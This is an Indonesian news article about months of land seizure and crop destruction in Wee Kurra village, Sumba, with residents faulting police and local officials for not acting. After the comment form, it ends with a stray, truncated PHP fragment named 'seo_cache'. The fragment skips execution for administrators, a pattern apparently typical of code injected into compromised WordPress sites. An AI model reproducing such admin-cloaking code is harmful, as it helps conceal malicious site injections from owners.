Hukum

Penyerobot Lahan dan Perusak Tanaman Warga Wee Kurra Masih Dibiarkan Merajalela Tanpa Tindakan Apa-apa dari Pihak Berwajib

×

Penyerobot Lahan dan Perusak Tanaman Warga Wee Kurra Masih Dibiarkan Merajalela Tanpa Tindakan Apa-apa dari Pihak Berwajib

Sebarkan artikel ini

 

WEWEWA BARAT, MENARASUMBA.COM – Meski sudah berbulan lamanya, aksi penyerobotan lahan dan perusakan tanaman milik warga Desa Wee Kurra terus berlangsung tanpa ada tindakan apa-apa dari pemerintah dan pihak berwajib.

 

Sejak diserobot pada bulan Mei 2025 lalu, justru para pelaku dibiarkan makin merajalela dengan aksi perusakan tanaman.

 

 

“Sama sekali belum ada tindakan apa pun, padahal sudah sekian bulan kami selaku korban diminta untuk tenang dan aman, tapi para pelaku malah dibiarkan bebas merusak tanaman kami,” ujar Agustinus, salah satu warga Wee Kurra, Kamis (28/08/2025).

 

Menurut dia, keluhan demi keluhan yang disampaikan hanya ditanggapi dengan janji-janji tanpa penyelesaian.

 

Otomatis, sampai penghujung bulan Agustus 2025 ini tidak ada lagi tanaman warga Wee Kurra di area lahan tersebut yang masih hidup karena dimatikan dengan cara dipotong dan dibakar.

 

Hal senada diungkapkan Koni Bolo, ibu petani yang kini kehilangan sumber penghasilan karena isi kebun miliknya dijarah dan dirusak.

 

“Hasil kebun kami seperti pisang, keladi, ubi, petatas, juga mente dan kakao mereka jarah dan jual,” bebernya.

 

Ia dan warga lain memilih untuk mematuhi permintaan pemerintah dan polisi (Camat, Kapolsek) agar tenang serta tidak melakukan reaksi apa pun di lahan yang sudah diserobot itu.

 

“Kami ikuti saran tersebut, tapi justru para penyerobot makin brutal dan dibiarkan begitu saja,” keluhnya dengan mimik kecewa.

 

Akibat aksi penyerobotan yang dibiarkan merajalela, banyak warga Wee Kurra yang menderita kerugian karena harus kehilangan sumber pendapatan.

 

Keluhan yang sama juga dinyatakan Aloysius Adi Papa, dimana ia dan keluarganya merasakan kegetiran yang amat sangat akibat ulah tidak manusiawi para penyerobot.

 

Ia menyesalkan pembiaran atas tindakan biadab tersebut yang telah menyengsarakan masyarakat di Dusun IV, Desa Wee Kurra ini.

 

“Pemerintah seolah tutup mata atas tindakan biadab ini dan menganggap sepele persoalan yang sedang kami hadapi,” ucapnya kesal.

 

Pihaknya khawatir ketika hujan turun dan musim tanam tiba maka kekacauan tidak bisa dihindari lagi apabila para penyerobot masih tetap beraksi.

 

Aloysius berharap pihak berwajib segera tangkap dan proses hukum para pelaku penyerobotan serta perusakan tanaman tersebut.

 

“Pemerintah harus hadir menegakkan keadilan bukan malah membiarkan warga menuju kekacauan dan bisa berakibat fatal,” tandasnya.

 

Persoalan batas, kata dia, sudah tuntas diselesaikan pada zaman Bupati Sumba Barat, Thimotius Langgar saat Kabupaten SBD belum berdiri sendiri.

 

Tapal batas sudah jelas dengan bukti pilar besar yang ditanam pada tahun 2002 lalu atas dasar kesepakatan bersama melibatkan berbagai unsur, baik pemerintah, tokoh masyarakat, hingga pihak pertanahan yang mencatatkannya secara resmi dalam dokumentasi batas 

 

“Tidak ada masalah tanah di Wee Kurra, yang ada saat ini adalah tindakan penyerobotan lahan dan perusakan tanaman serta penjarahan hasil kebun yang harus diproses hukum,” pungkasnya. ( JIP/MS )

 

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>